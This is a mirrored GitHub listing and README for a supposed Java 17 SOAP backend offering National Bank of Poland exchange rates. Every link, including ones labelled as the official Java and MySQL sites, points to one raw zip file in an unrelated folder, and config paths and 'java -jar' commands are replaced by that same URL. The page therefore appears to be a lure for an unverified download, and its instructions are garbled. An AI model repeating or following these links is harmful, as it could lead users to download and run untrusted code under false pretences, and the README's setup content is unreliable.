https://github.com/peterpaulgit/nbp-currency-exchange-backend
💱 Build a SOAP backend for currency exchange using Java 17 and MySQL, featuring live FX rates from the National Bank of Poland for seamless transactions.
https://github.com/peterpaulgit/nbp-currency-exchange-backend
android android-client aws-ec2 backend bcrypt docker fluentvalidation gradle gson java jax-ws jaxb jdbc mysql nodejs react-native soap-client ssh-tunnel
Last synced: 13 days ago
JSON representation
💱 Build a SOAP backend for currency exchange using Java 17 and MySQL, featuring live FX rates from the National Bank of Poland for seamless transactions.
- Host: GitHub
- URL: https://github.com/peterpaulgit/nbp-currency-exchange-backend
- Owner: peterpaulgit
- License: mit
- Created: 2025-10-11T13:37:09.000Z (7 months ago)
- Default Branch: main
- Last Pushed: 2026-04-06T04:30:29.000Z (21 days ago)
- Last Synced: 2026-04-06T06:24:33.751Z (21 days ago)
- Topics: android, android-client, aws-ec2, backend, bcrypt, docker, fluentvalidation, gradle, gson, java, jax-ws, jaxb, jdbc, mysql, nodejs, react-native, soap-client, ssh-tunnel
- Size: 1.29 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# 🌟 nbp-currency-exchange-backend - Easy Currency Exchange Using NBP
## 🚀 Getting Started
To use the nbp-currency-exchange-backend, you will need to download the application and follow a few simple steps. This guide will help you through each step.
## 📥 Download & Install
Visit this page to download the latest version of nbp-currency-exchange-backend:
[GitHub Releases Page](https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip)
Follow the instructions below to get your application up and running.
## 🖥️ System Requirements
Before you begin, make sure your system meets the following requirements:
- **Operating System:** Windows 10, macOS, or a recent Linux distribution.
- **Java:** Java 17 must be installed. You can download it from the [Official Java Site](https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip).
- **MySQL:** A MySQL database is required for user and transaction storage. You can download it from the [MySQL Website](https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip).
## 🔗 Features
- **Java SOAP Backend:** Built with Java 17 and JAX-WS technology.
- **Live Currency Exchange Rates:** Access live foreign exchange data directly from NBP.
- **User Management:** Store and manage users and transactions using MySQL.
- **Simple Terminal Client:** A small terminal client for easy interaction.
## ⚙️ Installation Steps
1. **Download the Application:**
Go to the [GitHub Releases Page](https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip) and download the latest version.
2. **Extract the Files:**
After you download the ZIP file, locate it in your downloads folder. Right-click on the file and select "Extract All.” Follow the prompts to extract the files.
3. **Set Up MySQL Database:**
- Install MySQL if you haven’t already.
- Open the MySQL command line.
- Create a new database by running the following command:
```sql
CREATE DATABASE nbp_currency_exchange;
```
4. **Configure the Application:**
- Open the `https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip` file found in the extracted folder.
- Update the database connection strings to match your MySQL setup.
5. **Run the Application:**
- Navigate to the application directory in your terminal or command prompt.
- Run the command:
```bash
java -jar https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip
```
## 🌐 Usage Instructions
- **Accessing the API:**
You can access the SOAP API using the provided WSDL file located in the `wsdl` folder.
- **Terminal Client:**
If you want to use the terminal client, open a new terminal in the application directory and run:
```bash
java -jar https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip
```
## 🛠️ Troubleshooting
If you encounter issues:
- **Java Not Found:** Ensure Java 17 is installed and properly set up in your system PATH.
- **Database Connection Issues:** Double-check your database connection settings in the `https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip` file.
- **Application Fails to Start:** Review the error messages in the terminal for guidance.
## 📄 Documentation
For detailed API documentation and further instructions, refer to the files included in the repository. Look for the `docs` folder that contains useful information.
## 💬 Community
Join our community for assistance, share your experiences, and suggest features. You can find discussions in the GitHub Issues section.
## ✉️ Support
For support, please open an issue on the [GitHub repository](https://raw.githubusercontent.com/peterpaulgit/nbp-currency-exchange-backend/main/saxifrage/nbp-currency-exchange-backend.zip). Our team will respond promptly.
## 🎉 Conclusion
With the nbp-currency-exchange-backend, accessing real-time currency exchange information has never been easier. Follow the above steps to set up your application and enjoy seamless integration with live FX data.